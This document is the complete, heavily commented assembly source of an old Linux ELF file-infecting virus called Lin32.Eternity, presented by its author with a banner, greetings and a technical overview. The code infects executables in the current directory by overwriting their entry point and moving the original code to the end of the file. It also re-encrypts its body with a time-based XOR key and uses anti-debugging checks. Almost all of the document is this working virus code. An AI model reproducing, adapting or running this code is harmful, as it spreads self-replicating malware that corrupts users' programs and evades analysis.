; _    _                    ____  _                  _  _
;( )  (_)       ___ __     (  __)( )                (_)( )
;| |   _  ____ |_ /|_ |    | |_  | |  ___  __  ____  _ | |  _ _
;( )_ ( )( __ )__)) /(_  _ (  _) ( _)( o_)( _)( __ )( )( _)( V )
;/___\/_\/_\/_\\__//___\(_)/____\/_\  \(  /_\ /_\/_\/_\/_\  ) /
;                                                         /_/
;                        __    _                  :: Intro :::::::::::::::::::::::
;                                                   Hello out there! I dont't know
;                _dP                 9m_            why but in the last time I've
;              _#P      __Author__     9#_          worked a lot with encryption
;             d#@                       9#m         tools, methods etc. Thisvirus
;            d##    Cyneox/rRlf/Helith   ###        should be the beginning of my
;           J###                         ###L       new VXing-era: poly engines,
;          {###K                       J###K        metamorphism etc. It took me a
;           ]####K      ___aaa___      J####F       long time to write this virus
;       __gmM######_  w#P""   ""9#m  _d#####Mmw__    but as you see: I've made it!!!
;    _g##############mZ_         __g##############m_
;  _d####M@PPPP@@M#######Mmp gm#########@@PPP9@M####m_  :: Greets ::::::::::::::::
; a###""          ,Z"#####@" '######"\g          ""M##m   First of all I'd like to
;J#@"             0L  "*##     ##@"  J#              *#K   thank SPTH for reminding
;#"    __Date__   `#    "_gmwgm_~    dF __Dedicated__ `#_   me not to stop coding.
;F                 "#_   ]#####F   _dK                 JE   Then a big fat "Thank
;      1.04.2005     *m__ ##### __g@"  Caline, my       F   you" to rembrandt and
;                      "PJ#####LP"   eternal love just     dr3f who helped me while
;`                       0######_            4         '  coding the encryption
;                      _0########_        you !!!        routine.
;    .               _d#####^#####m__              ,    And a (pi*BIG_FAT)^3
;     "*w_________am#####P"   ~9#####mw_________w*"    "I Love You" to Caline.
;         ""9@#####@M""           ""P@#####@M""       Te Iubesc Iubita Mea!!!
; :: Overview :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;
; * General information *
;   Name  :  Lin32.Eternity
;   Author:  Cyneox member of rRlf VX Group  [http://www.rrlf.de.vu]
;                             Helith Network [https://vx.helith.net]
;   Date  :  01.04.2005
;   Size  :  3432
;
; * Technical details *
;   Infection  :  the writes himself at entry point and the original data
;                 will be stored at EOF
;   EPO        :  Since the memory has WRITE+EXECUTE flags we can simply
;                 copy the original data from EOF to the entry point of file
;                 and execute the original code. Data will be only in the memory
;                 overwriten.
;   Target     :  ELF (Executable and Linking Format) files in the local directory
;   Encryption :  The virus body will be at run-time encrypted using the "Sliding
;                 key Encryption" methdod. The encryption will be randomly
;                 generated using the syscall time(). Then the return value will
;                 a be a little bit modified so that the encryption key isnt 100%
;                 dependent from the returned value.
;   Decryption :  The virus will compare bytewise if the file where its currently
;                 executed is encrypted. Thats important since the "dropper"
;                 contains no encrypted data so I had to implement sth for checking
;                 that
;
; :: About ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;    Its about an ELF virus infecting all executables ELF files in the current
;    directory. Our virus has a certain size , lets call it "len". If a file is
;    found "len" bytes from the entry point of the target will be copied at the
;    end of the file. Then our virus will copy himself at the entry point.
;    For the first time I'm using a new art of EPO: Like I said "len" is the size
;    of our virus body. After executing the virus code will "load" "len" bytes from
;    EOF and will store the data at [ebp-d3lta+main], which is the entry point
;    of our virus.
;
;    Maybe you're asking yourself how is it possible to overwrite data in the
;    memory. Well therefore I used mprotect for making the memory region writeable
;    and executable. After loading the data from EOF only the data in the memory
;    will be overwriten. Overwriting the data in the file will be senseless: The
;    virus will be simply overwriten by the original code and thats silly ;)
;
;    After infecting other files the infected file will encrypt his virus body
;    beginning with [ebp-d3lta+start_virus]. At every execution of the file , a
;    new encryption key will be generated making the ecryption routine safer.
;    The "dropper" , the 0 generation , contains no encrypted data. Before
;    decrypting the code several checks are done whether the virus body is encrypted
;    or not. The virus will simply compare the first , 5th , 7th byte beginning
;    from [ebp-d3lta+start_virus]. Just look at the code... Its the first virus
;    I've commented so well... So have phun !! ;)
;
; :: Contact ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;   W3B:  http://cyneox.go.ro
;         https://vx.helith.net
;         https://vx.helith.net/cyneox/
;
;   M@il: cyneox@helith.net
;
;   IRC : #lin32asm , #vxers ; #virus


bits 32
global main
section .text

;---++++++++++++++++++++++++++ main +++++++++++++++++++++++++++---
main:          push eax
	         pushad                    ; save all registers

	         mov ebx,dword [esp+32+4+4]
		                             ; argv[0]=host file which is
					           ; currently executed

		   ; now we'll create position independent code
		   ; so we'll have to calculate absolute addresses
		   ; at run-time.
		   ;
               ; this is taken from Elf-Virus-Writing-Tutorial
	         ; from Alexander Bartolich:
		   ;            The instruction pointer is a register that holds th the address
               ;            of the next instruction to execute. Unlike "real" registers
               ;            there is no direct way to retrieve its value. A call pushes the
               ;            current value of IP onto the stack and adds a relative offset
               ;            to it. Offset 0 just continues with the following instruction.
               ;            And if that instruction is a pop we load the the address of the
               ;            pop instruction itself in a regular register.


                   call	d3lta
;---++++++++++++++++++++++++++ d3lt@ ++++++++++++++++++++++++++---
d3lta:
	           pop ebp                   ; ebp should be addr of d3lta
		   push ebx                  ; save argv[0] on stack


is_encrypted:
                   ; The "dropper" will contain
		   ; no encrypted data...But the infected
		   ; files will do contain encrypted data ;)
                   ; Thats why I'm checking now if the code
		   ; is encrypted or not....

                   db 0xb9               ; dummy opcode = "mov ecx,"
encryption_key:    dd 8977h              ; our dear encryption key

		   ;-------------------------------------------------------------
		   ; Source: objdump -d eternity
		   ;
                   ; 080480ef <start_virus>:
		   ;  80480ef:       b8 1a 00 00 00          mov    $0x1a,%eax
		   ;  80480f4:       31 db                   xor    %ebx,%ebx
		   ;  80480f6:       31 c9                   xor    %ecx,%ecx
		   ;
                   ;-------------------------------------------------------------

		   lea ebx,[ebp-d3lta+start_virus]
                   mov cl,[ebx]
                   cmp byte cl,0xb8          ; b8 1a 00 00 00     mov $0x1a,%eax
		   jne Decryption

		   add ebx,5
                   mov cl,[ebx]
		   cmp byte cl,0x31          ; 31 db              xor    %ebx,%ebx
		   jne Decryption

		   add ebx,2
		   mov cl,[ebx]
		   cmp byte cl,0x31          ; 31 c9              xor    %ecx,%ecx
		   jne Decryption

                   je start_virus            ; if equal --> code isnt encrypted

;---++++++++++++++++++++++++++ Decryption ++++++++++++++++++++++++++---
Decryption:
                   ; Still we're trying to write in the memory
		   ; we'll have to mprotect that memory region
		   ; and make it writable, because we want to
		   ; save the decrypted code in that region.

                   lea  ebx, [ebp-d3lta+start_virus]
		                             ; const void *addr
                   and  ebx, 0FFFFF000h

		   ; Since I dont really know the correct size
		   ; of the code segment I'll asume its 0x3000 ;)

                   mov  ecx,0x1000           ; size_t len
		   mov  edx, 7               ; int prot PROT_READ|PROT_WRITE|PROT_EXEC
                   mov  eax,125              ; SYS.MPROTECT
		   int  0x80


                   mov ecx,(eternity_end-start_virus)/4
		   mov ebx,dword [ebp-d3lta+encryption_key]

		   lea esi,[ebp-d3lta+start_virus]
		   mov edi,esi
		   cld

loop_it:
		   lodsd                     ; move dword from [esi] to eax
                                         ; and increase "esi" by 4

		   xor eax,ebx               ; the encryption "routine" ;)
		   inc ebx                   ; increase ebx by 1
		   stosd                     ; move dword from "eax" to  [edi]
                                         ; and increase "edi" by 4
		   loop loop_it              ; ecx -= ecx ; while ecx>0 jmp loop_it_baby


;---+++++++++++++++++++++++ start_virus +++++++++++++++++++++++++---
start_virus:
		   ; Unlike my usual infecting techniques here I'll use
		   ; a new one: I'll put the host code onto the stack,
                   ; mprotect it and then I'll execute this code.
		   ; This is quite usefull since memory operations are
                   ; faster than file/device operations.

                   ; Check if our currently executed programm
		   ; is beeing debugged...Therefore we'll use
		   ; ptrace to check that.

		   ;-------------------------------------------------------------
		   ; ------------------> ANTI-DEBUGG Technique <-----------------
		   ;-------------------------------------------------------------
		   ; NAME
		   ; ptrace - process trace
                   ;
		   ; SYNOPSIS
		   ; #include <sys/ptrace.h>
		   ;
                   ; long ptrace(enum __ptrace_request request, pid_t pid,
                   ;             void *addr, void *data);
		   ;------------------------------------------------------------

		   mov eax,26                ; SYS.PTRACE
		   xor ebx,ebx               ; PTRACE_TRACEME :
		                             ; Indicates that this process is to be traced
					           ; by  its  parent
		   xor ecx,ecx               ; pid_t pid
		   xor edx,edx
		   inc edx                   ; void *addr
		   xor esi,esi               ; void *data
		   int 0x80

		   test eax,eax
		   jne near Bye_Bye          ; Our programm is beeing
		                             ; debugged!!!

		   ; Try to catch the signal SIGTRAP and to handle
		   ; with it. We'll create a "handler"-function
		   ; to handle with our catched signal.

		   ;-------------------------------------------------------------
		   ; ------------------> ANTI-DEBUGG Technique <-----------------
                   ;-------------------------------------------------------------
                   ; NAME
		   ; signal - ANSI C signal handling
		   ;
		   ; SYNOPSIS
                   ; #include <signal.h>
		   ;
		   ; typedef void (*sighandler_t)(int);
		   ;
		   ; sighandler_t signal(int signum, sighandler_t handler);
		   ;
                   ;------------------------------------------------------------

		   mov eax,48                ; SYS.SIGNAL
		   mov ebx,0x5
		   lea ecx,[ebp-d3lta+handler]
		                             ; signal handler function
		   mov ecx,esp
		                             ; handler
		   int 0x80


		   pop ebx                   ; argv[0]
                   mov ecx,eternity_end-hostmain
		                             ; get offset(distance) between
                                         ; start code and end code

	           sub esp, ecx              ; create space where to put code
	           lea esi, [ebp-d3lta+hostmain]
		                             ; load "source" where to copy data
                                         ; from

	           mov edi, esp              ; destination
	           rep  movsb                ; copy data from esi to edi
                   jmp esp                   ; jump to copied code on the stack

;---++++++++++++++++++++++ hostmain +++++++++++++++++++++++++---
hostmain:
	           push ebx                  ; argv[0] = host file

		   ;---------------------------------- ---------------------------
		   ; NAME
		   ; mprotect - control allowable accesses to a region of memory
                   ;
		   ; SYNOPSIS
		   ; #include <sys/mman.h>
                   ;
                   ; int mprotect(const void *addr, size_t len, int prot);
                   ;-------------------------------------------------------------

	           lea ebx, [ebp-d3lta+main]
		                             ; const voi *addr
	           and ebx, 0FFFFF000h

		   ; Since I dont really know the correct size
		   ; of the code segment I'll asume its 0x3000 ;)

	           mov ecx, 0x3000           ; size_t len
	           mov edx, 7                ; int prot PROT_READ|PROT_WRITE|PROT_EXEC
	           mov eax,125               ; SYS.MPROTECT
	           int 0x80

		   ; opening host file in O_RDONLY only modus
		   pop ebx                   ; argv[0]
	           xor ecx, ecx	           ; ecx = 0 = O_RDONLY
	           mov eax,5	           ; SYS.OPEN
	           int 0x80

		   ; checking for returned file descriptor
	           cmp eax,0xFFFFF000        ; Another implementation:
	           ja  Bye_Bye               ;      cmp eax,0x0
                                         ;      jl Bye_Bye

	           call point                ; a real interesting method to declare
	           db	'.',0                  ; data and initialize registers with it
	           point:pop esi             ; esi = "."

	           push eax                  ; save file descriptor of host
                                         ; on the stack
	           call search_in_direc      ; go search for it baby!
	           pop ebx                   ; saved fd of host


;---++++++++++++++++++ EternityHost ++++++++++++++++++++++++++---
;--- Desc   : Move to end of file and copy the original code
;             to the original entry point and execute it.
;--- INPUT  : ebx (containing file descriptor of host file)
;--- OUTPUT : [none]
;----------------------------------------------------------------
EternityHost:

               ;-------------------------------------------------------------
               ; NAME
               ; lseek - reposition read/write file offset
               ;
               ; SYNOPSIS
               ; #include <sys/types.h>
               ; #include <unistd.h>
               ;
               ; off_t lseek(int fildes, off_t offset, int whence);
               ;-------------------------------------------------------------

	         xor edx, edx             ; edx = 0 = SEEK_SET
	         db 0xb9                  ; opcode for "mov ecx,"

seek_bytes:      dd  00000000h            ; sizeof(target_file)
	         mov eax,19               ; SYS.LSEEK
	         int 0x80

		   ; The return value of sys.lseek will be checked...
		   ; If sys.lseek seeked successfully to that offset
		   ; that means that this code is currently executed
		   ; by an infected file...
		   ; If sys.lseek seeked unsuccessfully that means
		   ; that this is the first execution of our virus...

	         or	eax, eax
	         jnz restore_code         ; execute original target code
	         jmp Bye_Bye              ; its the "dropper" --> exit

;---++++++++++++++++++++ restore_code ++++++++++++++++++++++++---
restore_code:
                   ; Read "eternity_end-main" bytes from the end of the file
		   ; and copy the data to [ebp-d3lta+main]
		   ; Remember: Our code should be independent and that means
                   ; that we're using only offsets.

                   ;-------------------------------------------------------------
                   ; NAME
		   ; read - read from a file descriptor
		   ;
		   ; SYNOPSIS
                   ; #include <unistd.h>
		   ;
		   ; ssize_t read(int fd,void *buf,size_t count);
                   ;-------------------------------------------------------------


	           lea ecx, [ebp-d3lta+main]
		                           ; void *buf
	           push ecx
	           pop esi
	           mov edx, eternity_end-main

				               ; size_t count
	           mov eax,3               ; SYS.READ
	           int 0x80

		   ; Close file descriptor...
	           mov eax,6               ; SYS.CLOSE
	           int 0x80

       	           add esp,eternity_end-hostmain
		                           ; free stack
	           mov dword [esp+32], esi ; its like an entrypoint
	           popad                   ; restore registers
	           ret			   ; return to host code

;---++++++++++++++++++++++++++ Bye_Bye ++++++++++++++++++++++++++---
Bye_Bye:
                   mov eax,4               ; SYS.WRITE
		   mov ebx,1               ; stdout
		   lea ecx, [ebp-d3lta+Copyright]
		   mov edx,dword [ebp-d3lta+copy_lenght]
		   int 0x80

		   popad
	           xor eax,eax
		   inc eax
                   int 0x80                ; SYS.EXIT

;################ END OF ETERNITYHOST #########################



;---+++++++++++++++++++ search_in_direc +++++++++++++++++++++++---
;--- DESC. : searches for files in esi (see below)
;--- INPUT : esi = name of directory where to search for files
;--- OUTPUT: [none]
;-----------------------------------------------------------------
search_in_direc:

                   mov ebx,esi               ; directory name
		   xor ecx,ecx               ; ecx = 0 = O_RDONLY
		   mov eax,0x5
		   int 0x80                  ; SYS.OPEN

		   cmp eax,0x0
		   jb near go_back           ; Another implementation:
		                             ;         or eax,eax
					           ;         jz go_back

		   push eax                  ; push fd onto stack
		   pop dword [ebp-d3lta+DirName]
		                             ; save fd to DirName


;---+++++++++++++++++++++ search4files ++++++++++++++++++++++++---
;--- DESC. : loop label to search only regular files in esi
;--- INPUT : esi = name of file in the directory
;--- OUTPUT: [none]
;-----------------------------------------------------------------
search4files:
               ;-------------------------------------------------------------
               ; NAME
               ;  readdir - reads an directory entry
               ;
               ; SYNOPSIS
               ; #include <unistd.h>
               ; #include <linux/dirent.h>
               ; #include <linux/unistd.h>
               ;
               ; _syscall3(int, readdir, uint, fd, struct dirent *, dirp, uint, count);
               ;
               ; int readdir(unsigned int fd, struct dirent *dirp, unsigned int count);
               ;-------------------------------------------------------------

                   lea ecx,[ebp-d3lta+DirentStruct]
		   mov ebx,dword [ebp-d3lta+DirName]
		   mov eax,89
		   int 0x80                  ; SYS.READDIR

		   or eax,eax                ; Another implementation:
		   jz go_back                ;         cmp eax,0x1
	                                   ;         jne go_back

		   add ecx,0xA               ; file name in the DirentStruct
		   mov esi,ecx               ; save file name to esi

               ;-------------------------------------------------------------
               ; NAME
               ; lstat - list status of files
               ;
               ; SYNOPSIS
               ; #include <sys/types.h>
               ; #include <sys/stat.h>
               ; #include <unistd.h>
               ;
               ; int lstat(const char *file_name, struct stat *buf);
               ;-------------------------------------------------------------

                    mov ebx,esi
		   lea ecx,[ebp-d3lta+StatStruct]
		   mov eax,107
		   int 0x80                  ; SYS.LSTAT

		   cmp eax,0x0
		   jb go_back

		   movzx eax,word [ecx+0x8]  ; get st_mode
		                             ; movzx will copy the 0 too

		   mov ebx,eax

		   ; Check if its a regular file.We dont want to infect
                   ; directories ;)

		   and ebx,0000F000h         ; file mask
		   cmp ebx,00008000h         ; REG_FILE !?
		   jnz next_entry

		   ; Check if its user file and the most important
		   ; thing: If it can be executed by the current user

               ;-------------------------------------------------------------
		   ; Source: /usr/include/bits/stat.h
               ;
               ;  #define __S_IEXEC       0100    /* Execute by owner.  */
               ;  --> 0100(octal) = 40(hex)
               ;-------------------------------------------------------------

		   and eax,00000040h         ; eax = st_mode
		   or eax,eax                ; Another implementation:
		   jz next_entry             ;        cmp eax,00000040h
		                             ;        jne next_entry
found_file:
		   call Inf3ct_Fil3          ; heheh...my favourite function
		                             ; Dont accuse me for beeing sarcastic ;)

next_entry:

		   jmp search4files


go_back:
                   ret
;################ END OF SEARCH_IN_DIREC #########################


;---++++++++++++++++++++++ Inf3ct_Fil3 ++++++++++++++++++++++++---
;--- DESC. : Fuck up ELF executables
;--- INPUT : esi = ELF file
;--- OUTPUT: [none]
;-----------------------------------------------------------------
Inf3ct_Fil3:
		   ; Open ELF file for read & write

		   xor ecx,ecx
		   mov ecx,2                 ; O_RWONLY
		   mov ebx,esi               ; ELF file name
		   mov eax,5
		   int 0x80                  ; SYS.OPEN


		   cmp eax,0                 ; Another implementation:
		   jl near Inf3ct_failed     ;         cmp eax,0xfffff000
		                             ;         ja Inf3ct_failed

                   mov dword [ebp-d3lta+ELF_FD],eax
		                             ; save fd to ELF_FD

		   ; Now we must find out file's size in order
		   ; to mmap it later.Therefore we'll use lssek()


		   xor ecx,ecx               ; ecx = 0 = offset
		   mov edx,2                 ; SEEK_END
		   mov ebx,eax               ; file descriptor
		   mov eax,19
		   int 0x80                  ; SYS.SEEK


		   mov dword [ebp-d3lta+seek_bytes],eax
		                             ; "update" seek_bytes with
                                         ; sizeof file

		   ; Prepare for Mmap_Fil3
		   mov ebx,[ebp-d3lta+ELF_FD]
		   xchg eax,ecx              ; ecx = sizeof file

		   call Mmap_Fil3

		   cmp eax,-1                ; Another implementation:
		   je near Mmap_failed       ;         inc eax
		                             ;         jz near Mmap_failed

		   mov dword [ebp-d3lta+Mmap_Addr],eax
		   mov esi,dword [ebp-d3lta+Mmap_Addr]

		   ; CAUTION: Viral Sequence beginns here.
		   ;        : Infection Countdown started...


;---+++++++++++++++++++++ check_if_ELF ++++++++++++++++++++++++---
check_if_ELF:
               ;-------------------------------------------------------------
               ; Source: hexdump -C elf_file | sed 1q
               ;
               ; 00000000  7f 45 4c 46 01 01 01  |.ELF...|
               ;-------------------------------------------------------------

                   mov eax,dword [esi]
		   cmp eax,0x464c457f        ; hex for ".ELF"
		   jne near Unmmap

		   movzx eax,word [esi+40]   ; EHDR size
		   mov ebx,dword [esi+24]    ; entry point
		   movzx ecx,word [esi+44]   ; ehdr.e_phnum
		   movzx edx,word [esi+42]   ; ehdr.e_phentsize

		   mov edi,esi               ; esi = edi = Mmap_Addr

		   add edi,eax               ; move to PHT( Program Header Table)

               ;-------------------------------------------------------------
               ; Source: readelf elf_file -l
               ;
               ; Program Headers:
               ; Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
               ; PHDR           0x000034 0x08048034 0x08048034 0x000e0 0x000e0 R E 0x4
               ; INTERP         0x000114 0x08048114 0x08048114 0x00013 0x00013 R   0x1
               ;        [Requesting program interpreter: /lib/ld-linux.so.2]
               ; LOAD           0x000000 0x08048000 0x08048000 0x00484 0x00484 R E 0x1000
               ; LOAD           0x000484 0x08049484 0x08049484 0x00100 0x00104 RW  0x1000
               ; DYNAMIC        0x000498 0x08049498 0x08049498 0x000c8 0x000c8 RW  0x4
               ; NOTE           0x000128 0x08048128 0x08048128 0x00020 0x00020 R   0x4
               ; STACK          0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4
               ;-------------------------------------------------------------
               ; As we can see only those LOAD segments could be potencially
               ; virus infection targets. Its a very intelligent implementation
               ; to check if the entry point is smaller than p_paddr + p_memsz
               ; since we want to insert our virus after the entry point ;)
               ; On UNIX platforms there are some exotic ELF file samples: a few of
               ; them have the data segment and the code segment in one segment:
               ; the code segment.Well only VXer do crazy things like this but
               ; but it was just an example... :P


                ; Now we'll search for the PHDR entry,where p_paddr +
               ; p_memsz > entry point
get_phdr:
                   mov eax,dword [edi+12]    ; phdr.p_paddr
		   add eax,dword [edi+20]    ; p_memsz
		   cmp ebx,eax               ; if entry point is smaller
                                         ; than p_paddr + p_memsz then jump
		   jl got_phdr
		   add edi,edx               ; move to next PHDR entry
		   loop get_phdr

		   jmp Unmmap                ; if nothing found then exit


;---++++++++++++++++++++++++++ got_phdr ++++++++++++++++++++++++++---
got_phdr:
                    mov esi,dword [esi+24]    ; entry point

		   ; Figure out offset to entry code by subtracting the
                   ; PhsyAddr from the code segment from the entry point

		   sub esi,dword [edi+8]     ; edi+8 = PhysAddr
		   mov ebx,esi
		   add esi,dword [ebp-d3lta+Mmap_Addr]
		                             ; jump to entry point in the mmap
					           ; file


		   ; Check if our target file has been already infected
		   ; by Linux.Eternity (c) by Cyneox ;))
		   mov eax,dword [ebp-d3lta+main]
		   cmp dword [esi],eax
		   jz near Unmmap            ; already infected :(


		   ; Check if there is enough place where to insert
		   ; our viral code...
		   mov eax,dword [edi+20]
		   sub eax,ebx
		   mov ecx,eternity_end-main
		   cmp eax,ecx
		   jb near Unmmap            ; segment too small


		   ; Creating a stack frame where to insert
		   ; our host code...
		   sub esp,eternity_end-main


		   ; Write host code into that frame

		   mov ebx,esi               ; esi = source
		   mov ecx,eternity_end-main
		   mov edx,ecx
		                             ; lenght
		   mov edi,esp               ; destination
		   rep movsb                 ; copy from esi to edi


		   ; Write viral code at the entry point of
		   ; mmaped file...

		   ; First of all write until "start_virus"...

		   xchg ebx,edi              ; ebx=esp ; edi=esi

		   ; Generate random number used as encryption key
		   ; time()  returns  the  time since the Epoch (00:00:00 UTC,
                   ; January 1, 1970), measured in seconds.
		   ; Those seconds represent a wonderfull randomly generated
		   ; encryption key ... ;)

		   mov eax,13                ; SYS.TIME
		   mov ebx,dword [ebp-d3lta+Time]
		   int 0x80

		   ; eax will contain a radomly generated number...

		   and eax,0x9d2c
		   and eax,0xefc6
		   mov dword [ebp-d3lta+encryption_key],eax
		                             ; update encryption key

		   lea esi,[ebp-d3lta+main]
		   mov ecx,start_virus-main
		   rep movsb

		   ; Write after "start_virus"...


		   add edi,ecx               ; update destination
		   push edi
		   lea esi,[ebp-d3lta+start_virus]
		   mov ecx,eternity_end-start_virus
		   rep movsb


;---+++++++++++++++++++++ Encryption  ++++++++++++++++++++++++---
; Using "Sliding Key Encryption" method...
; Its actually a "xor"-encryption while increasing the encryption key
; by 1. The cool thing about this method is following:
;
;    Lets say we have this data : AABCC
;    And our encryption key is  : KBKBK
;
; In the first loop A will be encrypted with K , but in the second
; loop A will be encrypted with B. Thats a sory of polyalphabetical
; enciphering (pls visit my site to read something about that enciphering
; method). And that makes our encryption even more securer.
; If somebody looks at this encrypted code, they won't be able to tell that
; the two characters are the same when unencrypted.

Encryption:
		   pop edi
		   mov esi,edi
 		   mov ecx,(eternity_end-start_virus)/4
		   mov ebx,dword [ebp-d3lta+encryption_key]
		   cld

loop_encrypt:
                   lodsd                     ; load dword from [esi] to [eax]
		   xor eax,ebx               ; encryption
		   inc ebx                   ; increase ebx
		   stosd                     ; store dword from [eax] to [edi]=[esi]
		   loop loop_encrypt         ; loop until ECX>0

		   lea esi,[ebp-d3lta+main]


		   ; Now we'll unmmap our target and write the original
		   ; host code at the end of the file...
		   mov ecx,dword [ebp-d3lta+seek_bytes]
		                             ; sizeof file
		   mov ebx,dword [ebp-d3lta+Mmap_Addr]
		   mov eax,91                ; SYS.UNMMAP
		   int 0x80

		   ;-------------------------------------------------------------
		   ; Source: ls -l ./gcc
		   ; -rwxr-xr-x  1 cyneox users 98665 2005-03-20 17:09 gcc
		   ;
		   ; Size of target before virus infection...
		   ;-------------------------------------------------------------


		   ; Write host code at EOF
		   mov ecx,esp
		   mov edx,eternity_end-main
		   mov ebx,dword [ebp-d3lta+ELF_FD]
		                             ; file descriptor
		   mov eax,0x4               ; SYS.WRITE
		   int 0x80


		   ;-------------------------------------------------------------
		   ; Source: ls -l ./gcc
		   ; -rwxr-xr-x  1 cyneox users 100178 2005-03-20 17:11 gcc
		   ;
		   ; Size of target AFTER virus infection ...
		   ;-------------------------------------------------------------

		   add esp,eternity_end-main
		                             ; restore frame

	           ; This is a "copyright" function to
		   ; append my message.

		   sub esp,dword [ebp-d3lta+Appendix_lenght]

		   mov edi,esp               ; direction
		   lea esi,[ebp-d3lta+Appendix]
		   mov ecx,dword [ebp-d3lta+Appendix_lenght]
		   mov edx,ecx
		   rep movsb

		   mov edx,ebx

		   mov eax,4                 ; SYS.WRITE
		   mov ebx,edx               ; write to file descriptor
		   mov ecx,esp               ; write from stack
		   mov edx,dword [ebp-d3lta+Appendix_lenght]
		   int 0x80

		   add esp,dword [ebp-d3lta+Appendix_lenght]
		                             ; restore stack

                   jmp Mmap_failed

;---++++++++++++++++++++++++++ Unmmap ++++++++++++++++++++++++++---
Unmmap:
                   mov ecx,dword [ebp-d3lta+seek_bytes]
		                             ; size
		   mov ebx,dword [ebp-d3lta+Mmap_Addr]
		                             ; mmap addr
                   mov eax,91
		   int 0x80                  ; SYS.UNMMAP

Mmap_failed:
                   mov ebx,dword [ebp-d3lta+ELF_FD]
		   mov eax,6
		   int 0x80                  ; SYS.CLOSE

Inf3ct_failed:
                   ret
;################# END OF INF3CT_FIL3 ############################





;---++++++++++++++++++++++ Mm@p_Fil3 ++++++++++++++++++++++++++---
;--- DESC. : Map file in the memory
;--- INPUT : ebx = file descriptor
;          : ecx = size
;--- OUTPUT: eax = addr of memory map
;-----------------------------------------------------------------
Mmap_Fil3:
               ;-------------------------------------------------------------
               ; NAME
               ; mmap - save data into memory
               ;
               ; SYNOPSIS
               ; #include <unistd.h>
               ; #include <sys/mman.h>
               ;
               ; void  *  mmap(void *start, size_t length, int prot , int flags, int fd,
               ;              off_t offset);
               ;-------------------------------------------------------------

		   lea esi,[ebp-d3lta+MmapStruct]
		   mov dword [esi+4],ecx     ; sizeof file
		   mov dword [esi+16],ebx    ; file descriptor

		   xchg ebx,esi
		   mov eax,90
		   int 0x80                  ; SYS.MMAP
		                             ; Another implemenatation;
		                             ; mov eax,90
		                             ; mov edx,ebx

		                             ; sub esp,24
		                             ; mov dword [esp],0x0
		                             ; mov dword [esp+4],ecx
		                             ; mov dword [esp+8],3
		                             ; mov dword [esp+12],1
		                             ; mov dword [esp+16],edx
		                             ; mov dword [esp+20],0
		                             ; mov ebx,esp
		                             ; int 0x80

		                             ; add esp,24

		   ret



;---++++++++++++++++++++++++++ __exit ++++++++++++++++++++++++++---
__exit:
                   xor eax,eax               ; eax = 0
		   inc eax                   ; eax = 1

                   int 0x80                  ; SYS.EXIT

;---+++++++++++++++++++++++ host_end ++++++++++++++++++++++++++---
host_end:

;---++++++++++++++++++++++++ handler  +++++++++++++++++++++++++---
handler:
                   push ebp
		   mov esp,ebp

                   ; simply do nothing while program
		   ; receives signal SIGTRAP

		   pop ebp
                   ret


DirName            dd             00000000h  ; directory name
ELF_FD             dd             00000000h  ; ELF file descriptor
Mmap_Addr          dd             00000000h  ; MMAP address
Time               dd             00000000h  ; variable used by syscall time()
Copyright:         db             ":::.Lin32.Eternity by Cyneox/rRlf.:::",0xa,0x0
msg:               db             "Te iubesc, te doresc, mai mult ca viata mea...",0xa,0x0
                   db             "Numai tu si Dumnezeu sunteti inima mea.",0xa,0xa,0x0
                   db             "Caline, my eternal love just for you!",0xa,0x0
                   db             "by Cyneox/rRlf [24.03.2005]",0xa,0x0
copy_lenght        dd             $-Copyright
Appendix:          db             "Lin32.Eternity by Cyneox/rRlf/Helith [March 2005]",0xa,0x0
Appendix_lenght    dd             $-Appendix
copyright_end:


;-----------------------------------------------------------------
; Source: /usr/include/asm/stat.h
; struct stat {
;        unsigned short st_dev;
;        unsigned short __pad1;
;        unsigned long st_ino;
;        unsigned short st_mode;
;        unsigned short st_nlink;
;        unsigned short st_uid;
;        unsigned short st_gid;
;        unsigned short st_rdev;
;        unsigned short __pad2;
;        unsigned long  st_size;
;        unsigned long  st_blksize;
;        unsigned long  st_blocks;
;        unsigned long  st_atime;
;        unsigned long  __unused1;
;        unsigned long  st_mtime;
;        unsigned long  __unused2;
;        unsigned long  st_ctime;
;        unsigned long  __unused3;
;        unsigned long  __unused4;
;        unsigned long  __unused5;
;};
;--------------------------------------------------------------

StatStruct:
                   dw                 0000h ; st_dev
		   dw                 0000h ; __pad1
		   dd             00000000h ; st_ino
		   dw                 0000h ; st_mode
		   dw                 0000h ; st_nlink
		   dw                 0000h ; st_uid
		   dw                 0000h ; st_gid
		   dw                 0000h ; st_rdev
		   dw                 0000h ; __pad2
		   dd             00000000h ; st_size
		   dd             00000000h ; st_blksize
		   dd             00000000h ; st_blocks
		   dd             00000000h ; st_atime
		   dd             00000000h ; __unused1
		   dd             00000000h ; st_mtime
		   dd             00000000h ; __unused2
		   dd             00000000h ; st_ctime
		   dd             00000000h ; __unused3
		   dd             00000000h ; __unused4
		   dd             00000000h ; __unused5


;--------------------------------------------------------------
; Source: /usr/include/bits/dirent.h
; struct dirent
;  {
;#ifndef __USE_FILE_OFFSET64
;    __ino_t d_ino;
;    __off_t d_off;
;#else
;    __ino64_t d_ino;
;    __off64_t d_off;
;#endif
;    unsigned short int d_reclen;
;    unsigned char d_type;
;    char d_name[256];           /* We must not include limits.h! */
;  };
;--------------------------------------------------------------

DirentStruct:
                   dd             00000000h ; d_ino
                   dd             00000000h ; d_off
                   dw                 0000h ; d_reclen
                   times 256 db         00h ; d_name[256]

MmapStruct:
                   dd             00000000h ; addr
                   dd             00000000h ; lenght
                   dd             00000003h ; prot: PROT_WRITE|PROT_READ
                   dd             00000001h ; flags: MAP_PRIVATE
                   dd             00000000h ; file descriptor(fd)
                   dd             00000000h ; offset
testing            times 11 db           00h
eternity_end: